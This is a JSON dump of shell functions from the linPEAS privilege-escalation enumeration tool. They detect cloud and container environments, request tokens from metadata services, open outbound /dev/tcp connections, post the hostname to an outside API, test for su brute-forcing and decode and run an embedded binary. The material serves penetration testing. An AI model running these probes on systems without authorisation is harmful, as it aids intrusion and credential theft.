    "content": "# Title: Cloud - check_aws_lambda\n# ID: check_aws_lambda\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in AWS Lambda\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_aws_lambda\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_aws_lambda(){\n  is_aws_lambda=\"No\"\n\n  if (env | grep -q AWS_LAMBDA_); then\n    is_aws_lambda=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_az_app.sh",
    "content": "# Title: Cloud - check_az_app\n# ID: check_az_app\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in Azure App Service\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_az_app\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_az_app(){\n  is_az_app=\"No\"\n\n  if [ -d \"/opt/microsoft\" ] && env | grep -iq \"azure\"; then\n    is_az_app=\"Yes\"\n  fi\n  if [ -n \"$IDENTITY_ENDPOINT\" ] && echo \"$IDENTITY_ENDPOINT\" | grep -q \"/token\" && [ -n \"$IDENTITY_HEADER\" ]; then\n    is_az_app=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_az_automation_acc.sh",
    "content": "# Title: Cloud - check_az_automation_acc\n# ID: check_az_automation_acc\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in Azure App Service\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_az_automation_acc\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_az_automation_acc(){\n  is_az_automation_acc=\"No\"\n\n  if env | grep -iq \"azure\" && env | grep -iq \"AutomationServiceEndpoint\"; then\n    is_az_automation_acc=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_az_vm.sh",
    "content": "# Title: Cloud - check_az_vm\n# ID: check_az_vm\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in Azure VM\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_az_vm, $meta_response\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_az_vm(){\n  is_az_vm=\"No\"\n\n  # 1. Check if the Azure log directory exists\n  if [ -d \"/var/log/azure/\" ]; then\n    is_az_vm=\"Yes\"\n\n  # 2. Check if 'reddog.microsoft.com' is found in /etc/resolv.conf\n  elif grep -q \"search reddog.microsoft.com\" /etc/resolv.conf 2>/dev/null; then\n    is_az_vm=\"Yes\"\n\n  else\n    # 3. Try querying the Azure Metadata Service for more wide support (e.g. Azure Container Registry tasks need this)\n    if type curl >/dev/null 2>&1; then\n      meta_response=$(curl -s --max-time 2 \\\n        \"http://169.254.169.254/metadata/identity/oauth2/token\")\n      if echo \"$meta_response\" | grep -q \"Missing\"; then\n        is_az_vm=\"Yes\"\n      fi\n    elif type wget >/dev/null 2>&1; then\n      meta_response=$(wget -qO- --timeout=2 \\\n        \"http://169.254.169.254/metadata/identity/oauth2/token\")\n      if echo \"$meta_response\" | grep -q \"Missing\"; then\n        is_az_vm=\"Yes\"\n      fi\n    fi\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh",
    "content": "# Title: Interesting Perms Files - check_critial_root_path\n# ID: check_critial_root_path\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if you have write privileges over critical root paths\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $USER, $wgroups\n# Initial Functions:\n# Generated Global Variables: folder_path\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_critial_root_path(){\n  folder_path=\"$1\"\n  if [ -w \"$folder_path\" ]; then echo \"You have write privileges over $folder_path\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"; fi\n  if [ \"$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)\" ]; then echo \"You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')')\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"; fi\n  if [ \"$(find $folder_path -type f -not -user root 2>/dev/null)\" ]; then echo \"The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)\"; fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_dns.sh",
    "content": "# Title: LinPeasBase - check_dns\n# ID: check_dns\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the DNS is available\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $TIMEOUT_INTERNET_SECONDS_DNS, $local_pid\n# Fat linpeas: 0\n# Small linpeas: 1\n\ncheck_dns(){\n  local TIMEOUT_INTERNET_SECONDS_DNS=$1\n  if ! [ -f \"/bin/bash\" ]; then\n    echo \"  /bin/bash not found\"\n    return\n  fi\n\n  # example.com\n  (bash -c '((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo \"DNS accessible\") | grep \"accessible\" && exit 0 ) 2>/dev/null || echo \"DNS is not accessible\"') & local_pid=$!\n\n  sleep $TIMEOUT_INTERNET_SECONDS_DNS && kill -9 $local_pid 2>/dev/null && echo \"DNS is not accessible\"\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_do.sh",
    "content": "# Title: Cloud - check_do\n# ID: check_do\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in Digital Ocean\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_do\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_do(){\n  is_do=\"No\"\n  if [ -f \"/etc/cloud/cloud.cfg.d/90-digitalocean.cfg\" ]; then\n    is_do=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_external_hostname.sh",
    "content": "# Title: LinPeasBase - check_external_hostname\n# ID: check_external_hostname\n# Author: Carlos Polop\n# Last Update: 23-05-2025\n# Description: This will check the public IP and hostname in known malicious lists and leaks to find any relevant information about the host.\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $$INTERNET_SEARCH_TIMEOUT\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_external_hostname(){\n  INTERNET_SEARCH_TIMEOUT=15\n  # wget or curl?\n  if command -v curl >/dev/null 2>&1; then\n    curl \"https://tools.hacktricks.wiki/api/host-checker\" -H \"User-Agent: linpeas\" -d \"{\\\"hostname\\\":\\\"$(hostname)\\\"}\" -H \"Content-Type: application/json\" --max-time \"$INTERNET_SEARCH_TIMEOUT\"\n  elif command -v wget >/dev/null 2>&1; then\n    wget -q -O - \"https://tools.hacktricks.wiki/api/host-checker\" --header \"User-Agent: linpeas\" --post-data \"{\\\"hostname\\\":\\\"$(hostname)\\\"}\" -H \"Content-Type: application/json\" --timeout \"$INTERNET_SEARCH_TIMEOUT\"\n  else\n    echo \"wget or curl not found\"\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_gcp.sh",
    "content": "# Title: Cloud - check_gcp\n# ID: check_gcp\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in GCP\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_gcp_vm, $is_gcp_function\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_gcp(){\n  is_gcp_vm=\"No\"\n  is_gcp_function=\"No\"\n  if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ \"$?\" -eq \"0\" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ \"$?\" -eq \"0\" ]); then\n    is_gcp_vm=\"Yes\"\n  fi\n  # CHeck if /workspace exists\n  if [ -d \"/workspace\" ] && [ -d \"/layers\" ]; then\n    is_gcp_vm=\"No\"\n    is_gcp_function=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh",
    "content": "# Title: Cloud - check_ibm_vm\n# ID: check_ibm_vm\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in IBM VM\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_ibm_vm, $IBM_TOKEN\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_ibm_vm(){\n  is_ibm_vm=\"No\"\n  if grep -q \"nameserver 161.26.0.10\" \"/etc/resolv.conf\" && grep -q \"nameserver 161.26.0.11\" \"/etc/resolv.conf\"; then\n    curl --connect-timeout 2  \"http://169.254.169.254\" > /dev/null 2>&1 || wget --timeout 2 --tries 1  \"http://169.254.169.254\" > /dev/null 2>&1\n    if [ \"$?\" -eq 0 ]; then\n      IBM_TOKEN=$( ( curl -s -X PUT \"http://169.254.169.254/instance_identity/v1/token?version=2022-03-01\" -H \"Metadata-Flavor: ibm\" -H \"Accept: application/json\" 2> /dev/null | cut -d '\"' -f4 ) || ( wget --tries 1 -O - --method PUT \"http://169.254.169.254/instance_identity/v1/token?version=2022-03-01\" --header \"Metadata-Flavor: ibm\" --header \"Accept: application/json\" 2>/dev/null | cut -d '\"' -f4 ) )\n      is_ibm_vm=\"Yes\"\n    fi\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_icmp.sh",
    "content": "# Title: LinPeasBase - check_icmp\n# ID: check_icmp\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if ICMP is available\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $TIMEOUT_INTERNET_SECONDS_ICMP, $local_pid\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_icmp(){\n  local TIMEOUT_INTERNET_SECONDS_ICMP=$1\n  if ! [ \"$(command -v ping 2>/dev/null || echo -n '')\" ]; then\n    echo \"  ping not found\"\n    return\n  fi\n\n  # example.com\n  ((ping -c 1 1.1.1.1 2>/dev/null | grep -Ei \"1 received|1 packets received\" && echo \"ICMP is accessible\" || echo \"ICMP is not accessible\" 2>/dev/null) | grep \"accessible\" && exit 0 ) 2>/dev/null || echo \"ICMP is not accessible\" & local_pid=$!\n\n  sleep $TIMEOUT_INTERNET_SECONDS_ICMP && kill -9 $local_pid 2>/dev/null && echo \"ICMP is not accessible\"\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh",
    "content": "# Title: LinPeasBase - check_if_su_brute\n# ID: check_if_su_brute\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Try to brute-force su\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $EXISTS_SU, $error\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_if_su_brute(){\n  EXISTS_SU=\"$(command -v su 2>/dev/null || echo -n '')\"\n  error=$(echo \"\" | timeout 1 su $(whoami) -c whoami 2>&1);\n  if [ \"$EXISTS_SU\" ] && ! echo $error | grep -q \"must be run from a terminal\"; then\n    echo \"1\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh",
    "content": "# Title: LinPeasBase - check_tcp_443\n# ID: check_tcp_443\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if TCP Internet conns are available (via port 443)\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $local_pid, $TIMEOUT_INTERNET_SECONDS_443\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n\ncheck_tcp_443(){\n  local TIMEOUT_INTERNET_SECONDS_443=$1\n  if ! [ -f \"/bin/bash\" ]; then\n    echo \"  /bin/bash not found\"\n    return\n  fi\n\n  # example.com\n  (bash -c '(echo >/dev/tcp/104.18.74.230/443 2>/dev/null && echo \"Port 443 is accessible\" && exit 0) 2>/dev/null || echo \"Port 443 is not accessible\"') & local_pid=$!\n\n  sleep $TIMEOUT_INTERNET_SECONDS_443 && kill -9 $local_pid 2>/dev/null && echo \"Port 443 is not accessible\"\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh",
    "content": "# Title: LinPeasBase - check_tcp_443_bin\n# ID: check_tcp_443_bin\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if TCP Internet conns are available (via port 443) using curl or wget\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $url_lambda, $TIMEOUT_INTERNET_SECONDS_443_BIN\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_tcp_443_bin () {\n  local TIMEOUT_INTERNET_SECONDS_443_BIN=$1\n  local url_lambda=\"https://tools.hacktricks.wiki/api/host-checker\"\n\n  if command -v curl >/dev/null 2>&1; then\n    if curl -s --connect-timeout $TIMEOUT_INTERNET_SECONDS_443_BIN \"$url_lambda\" \\\n         -H \"User-Agent: linpeas\" -H \"Content-Type: application/json\" \\\n         -d \"{\\\"hostname\\\":\\\"$(hostname)\\\"}\" >/dev/null 2>&1\n    then\n      echo \"Port 443 is accessible with curl\"\n      return 0                      # ✅ success\n    else\n      echo \"Port 443 is not accessible with curl\"\n      return 1\n    fi\n\n  elif command -v wget >/dev/null 2>&1; then\n    if wget -q --timeout=$TIMEOUT_INTERNET_SECONDS_443_BIN -O - \"$url_lambda\" \\\n         --header \"User-Agent: linpeas\" -H \"Content-Type: application/json\" \\\n         --post-data \"{\\\"hostname\\\":\\\"$(hostname)\\\"}\" >/dev/null 2>&1\n    then\n      echo \"Port 443 is accessible with wget\"\n      return 0\n    else\n      echo \"Port 443 is not accessible with wget\"\n      return 1\n    fi\n\n  else\n    echo \"Neither curl nor wget available\"\n    return 1\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh",
    "content": "# Title: LinPeasBase - execBin\n# ID: check_tcp_80\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if TCP Internet conns are available (via port 80)\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $local_pid, $TIMEOUT_INTERNET_SECONDS_80\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n\ncheck_tcp_80(){\n  local TIMEOUT_INTERNET_SECONDS_80=$1\n  if ! [ -f \"/bin/bash\" ]; then\n    echo \"  /bin/bash not found\"\n    return\n  fi\n\n  # example.com\n  (bash -c '(echo >/dev/tcp/104.18.74.230/80 2>/dev/null && echo \"Port 80 is accessible\" && exit 0) 2>/dev/null || echo \"Port 80 is not accessible\"') & local_pid=$!\n\n  sleep $TIMEOUT_INTERNET_SECONDS_80 && kill -9 $local_pid 2>/dev/null && echo \"Port 80 is not accessible\"\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh",
    "content": "# Title: Cloud - check_tencent_cvm\n# ID: check_tencent_cvm\n# Author: Ahadowabi\n# Last Update: 24-01-2024\n# Description: Check if the script is running in tencent\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_tencent_cvm\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n\ncheck_tencent_cvm () {\n  is_tencent_cvm=\"No\"\n  if grep -qi Tencent /etc/cloud/cloud.cfg 2>/dev/null; then\n      is_tencent_cvm=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/containerCheck.sh",
    "content": "# Title: Container - containerCheck\n# ID: containerCheck\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if we are inside a container\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_no\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables: $inContainer, $containerType\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncontainerCheck() {\n  inContainer=\"\"\n  containerType=\"$(echo_no)\"\n\n  # Are we inside docker?\n  if [ -f \"/.dockerenv\" ] ||\n    grep \"/docker/\" /proc/1/cgroup -qa 2>/dev/null ||\n    grep -qai docker /proc/self/cgroup  2>/dev/null ||\n    [ \"$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \\; 2>/dev/null)\" ] ; then\n\n    inContainer=\"1\"\n    containerType=\"docker\\n\"\n  fi\n\n  # Are we inside kubenetes?\n  if grep \"/kubepod\" /proc/1/cgroup -qa 2>/dev/null ||\n    grep -qai kubepods /proc/self/cgroup 2>/dev/null; then\n\n    inContainer=\"1\"\n    if [ \"$containerType\" ]; then containerType=\"$containerType (kubernetes)\\n\"\n    else containerType=\"kubernetes\\n\"\n    fi\n  fi\n  \n  # Inside concourse?\n  if grep \"/concourse\" /proc/1/mounts -qa 2>/dev/null; then\n    inContainer=\"1\"\n    if [ \"$containerType\" ]; then \n      containerType=\"$containerType (concourse)\\n\"\n    fi\n  fi\n\n  # Are we inside LXC?\n  if env | grep \"container=lxc\" -qa 2>/dev/null ||\n      grep \"/lxc/\" /proc/1/cgroup -qa 2>/dev/null; then\n\n    inContainer=\"1\"\n    containerType=\"lxc\\n\"\n  fi\n\n  # Are we inside podman?\n  if env | grep -qa \"container=podman\" 2>/dev/null ||\n      grep -qa \"container=podman\" /proc/1/environ 2>/dev/null; then\n\n    inContainer=\"1\"\n    containerType=\"podman\\n\"\n  fi\n\n  # Check for other container platforms that report themselves in PID 1 env\n  if [ -z \"$inContainer\" ]; then\n    if grep -a 'container=' /proc/1/environ 2>/dev/null; then\n      inContainer=\"1\"\n      containerType=\"$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\\n\"\n    fi\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/echo_no.sh",
    "content": "# Title: LinPeasBase - echo_no\n# ID: echo_no\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Print No\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\necho_no (){\n  printf $DG\"No\\n\"$NC\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/echo_not_found.sh",
    "content": "# Title: LinPeasBase - echo_not_found\n# ID: echo_not_found\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Print Not Found\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\necho_not_found(){\n  printf $DG\"$1 Not Found\\n\"$NC\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh",
    "content": "# Title: Container - enumerateDockerSockets\n# ID: enumerateDockerSockets\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Search Docker Sockets\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_not_found\n# Global Variables: $GREP_DOCKER_SOCK_INFOS, $GREP_DOCKER_SOCK_INFOS_IGNORE\n# Initial Functions:\n# Generated Global Variables: $SEARCHED_DOCKER_SOCKETS, $docker_enumerated, $dockerVersion, $int_sock, $sockInfoResponse\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nenumerateDockerSockets() {\n  dockerVersion=\"$(echo_not_found)\"\n  if ! [ \"$SEARCHED_DOCKER_SOCKETS\" ]; then\n    SEARCHED_DOCKER_SOCKETS=\"1\"\n    # NOTE: This is intentionally \"lightweight\" (checks common runtime socket names) and avoids\n    # pseudo filesystems (/sys, /proc) to reduce noise and latency.\n    for int_sock in $(find / \\\n      -path \"/sys\" -prune -o \\\n      -path \"/proc\" -prune -o \\\n      -type s \\( \\\n        -name \"docker.sock\" -o \\\n        -name \"docker.socket\" -o \\\n        -name \"dockershim.sock\" -o \\\n        -name \"containerd.sock\" -o \\\n        -name \"crio.sock\" -o \\\n        -name \"frakti.sock\" -o \\\n        -name \"rktlet.sock\" \\\n      \\) -print 2>/dev/null); do\n\n      # Basic permissions hint (you generally need write perms to connect to a unix socket).\n      if [ -w \"$int_sock\" ]; then\n        if echo \"$int_sock\" | grep -Eq \"docker\"; then\n          echo \"You have write permissions over Docker socket $int_sock\" | sed -${E} \"s,$int_sock,${SED_RED_YELLOW},g\"\n        else\n          echo \"You have write permissions over interesting socket $int_sock\" | sed -${E} \"s,$int_sock,${SED_RED},g\"\n        fi\n      else\n        echo \"You don't have write permissions over interesting socket $int_sock\" | sed -${E} \"s,$int_sock,${SED_GREEN},g\"\n      fi\n\n      # Validate whether this looks like a Docker Engine API socket (amicontained-style) when curl exists.\n      docker_enumerated=\"\"\n      if [ \"$(command -v curl 2>/dev/null || echo -n '')\" ]; then\n        sockInfoResponse=\"$(curl -s --max-time 2 --unix-socket \"$int_sock\" http://localhost/info 2>/dev/null)\"\n        if echo \"$sockInfoResponse\" | grep -q \"ServerVersion\"; then\n          echo \"Valid Docker API socket: $int_sock\" | sed -${E} \"s,$int_sock,${SED_RED_YELLOW},g\"\n          dockerVersion=$(echo \"$sockInfoResponse\" | tr ',' '\\n' | grep 'ServerVersion' | cut -d'\"' -f 4)\n          echo \"$sockInfoResponse\" | tr ',' '\\n' | grep -E \"$GREP_DOCKER_SOCK_INFOS\" | grep -v \"$GREP_DOCKER_SOCK_INFOS_IGNORE\" | tr -d '\"'\n          docker_enumerated=\"1\"\n        fi\n      fi\n\n      # Fallback to docker CLI if curl is missing or the /info request didn't work.\n      # Use DOCKER_HOST so we can target non-default socket paths when possible.\n      if [ \"$(command -v docker 2>/dev/null || echo -n '')\" ] && ! [ \"$docker_enumerated\" ]; then\n        if [ -w \"$int_sock\" ] && echo \"$int_sock\" | grep -Eq \"docker\"; then\n          sockInfoResponse=\"$(DOCKER_HOST=\"unix://$int_sock\" docker info 2>/dev/null)\"\n          if [ \"$sockInfoResponse\" ]; then\n            dockerVersion=$(echo \"$sockInfoResponse\" | grep -i \"^ Server Version:\" | awk '{print $4}' | head -n 1)\n            printf \"%s\\n\" \"$sockInfoResponse\" | grep -E \"$GREP_DOCKER_SOCK_INFOS\" | grep -v \"$GREP_DOCKER_SOCK_INFOS_IGNORE\" | tr -d '\"'\n          fi\n        fi\n      fi\n    done\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/execBin.sh",
    "content": "# Title: LinPeasBase - execBin\n# ID: execBin\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Write and execute an embedded binary\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: print_3title, print_info\n# Global Variables: $Wfolder\n# Initial Functions:\n# Generated Global Variables: $TOOL_NAME, $TOOL_LINK, $B64_BIN, $PARAMS, $TMP_BIN, $cmdpid, $watcher, $rc\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nexecBin() {\n  TOOL_NAME=$1        # Display name\n  TOOL_LINK=$2        # Reference URL\n  B64_BIN=$3          # base64‑encoded executable\n  PARAMS=$4           # Arguments to the tool\n\n  [ -z \"$B64_BIN\" ] && return 0   # nothing to do\n\n  echo\n  print_3title \"Running $TOOL_NAME\"\n  print_info  \"$TOOL_LINK\"\n\n  TMP_BIN=$(mktemp \"${Wfolder:-/tmp}/bin.XXXXXX\") || { echo \"mktemp failed\"; return 1; }\n  printf '%s' \"$B64_BIN\" | base64 -d > \"$TMP_BIN\" || { echo \"decode failed\"; rm -f \"$TMP_BIN\"; return 1; }\n  chmod +x \"$TMP_BIN\"\n\n  # ---------------- 120‑second wall‑clock timeout ----------------\n  if command -v timeout >/dev/null 2>&1; then                 # GNU/BSD timeout\n      timeout --preserve-status -s 9 120 \"$TMP_BIN\" $PARAMS\n  elif command -v gtimeout >/dev/null 2>&1; then              # Homebrew coreutils (macOS)\n      gtimeout --preserve-status -s 9 120 \"$TMP_BIN\" $PARAMS\n  else                                                        # POSIX fall‑back\n      (\n        \"$TMP_BIN\" $PARAMS &                                  # run in background\n        cmdpid=$!\n        ( sleep 120 && kill -9 \"$cmdpid\" 2>/dev/null) &\n        watcher=$!\n        wait \"$cmdpid\"\n        rc=$?\n        kill -9 \"$watcher\" 2>/dev/null\n        exit $rc\n      )\n  fi\n  rc=$?\n\n  rm -f \"$TMP_BIN\"\n  echo\n  return $rc\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh",
    "content": "# Title: Cloud - exec_with_jq\n# ID: exec_with_jq\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Execute a command and if jq is installed, format the output\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nexec_with_jq(){\n  if [ \"$(command -v jq || echo -n '')\" ]; then \n    $@ | jq 2>/dev/null;\n    if ! [ $? -eq 0 ]; then\n      $@;\n    fi\n   else \n    $@;\n   fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh",
    "content": "# Title: LinPeasBase - execBin\n# ID: get_current_user_privot_pid\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Write and exected an embedded binary\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $SEARCH_IN_FOLDER, $NOUSEPS\n# Initial Functions:\n# Generated Global Variables: $CURRENT_USER_PIVOT_PID, $pid, $ppid, $user, $ppid_user\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nget_current_user_privot_pid(){\n    CURRENT_USER_PIVOT_PID=\"\"\n    if ! [ \"$SEARCH_IN_FOLDER\" ] && ! [ \"$NOUSEPS\" ]; then\n        # Function to get user by PID\n        get_user_by_pid() {\n            ps -p \"$1\" -o user | grep -v \"USER\"\n        }\n\n        # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user\n        ps -eo pid,ppid,user | grep -v \"PPID\" | while read -r pid ppid user; do\n            if [ \"$ppid\" = \"0\" ]; then\n            continue\n            fi\n            ppid_user=$(get_user_by_pid \"$ppid\")\n            if echo \"$user\" | grep -Eqv \"$ppid_user|root$\"; then\n            if [ \"$ppid_user\" = \"$USER\" ]; then\n                CURRENT_USER_PIVOT_PID=\"$ppid\"\n            fi\n            fi\n        done\n        echo \"\"\n    fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh",
    "content": "# Title: Container - inDockerGroup\n# ID: inDockerGroup\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the user is in the docker group\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $DOCKER_GROUP\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ninDockerGroup() {\n  DOCKER_GROUP=\"No\"\n  if groups 2>/dev/null | grep -q '\\bdocker\\b'; then\n    DOCKER_GROUP=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh",
    "content": "# Title: Function - kernel_cve_registry_checks\n# ID: kernel_cve_registry_checks\n# Author: Carlos Polop\n# Last Update: 25-02-2026\n# Description: Evaluate declared kernel CVE rules using kernel version, arch, kernel config, sysctl and command prerequisites.\n# Description: Data source chunks KERNEL_CVE_DATA_1..21 are capped to 25 rows each.\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_not_found, print_3title, print_list\n# Global Variables: $E, $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21, $SED_GREEN, $SED_RED_YELLOW\n# Initial Functions: echo_not_found, print_3title, print_list\n# Generated Global Variables: $KERNEL_CVE_CFG_FILE, $KERNEL_CVE_CFG_SOURCE, $KERNEL_CVE_CFG_LINE, $KERNEL_CVE_CFG_KEY, $KERNEL_CVE_CFG_EXPR, $KERNEL_CVE_CFG_EXPECT, $KERNEL_CVE_CFG_OP, $KERNEL_CVE_CFG_CUR, $KERNEL_CVE_SYS_EXPR, $KERNEL_CVE_SYS_KEY, $KERNEL_CVE_SYS_OP, 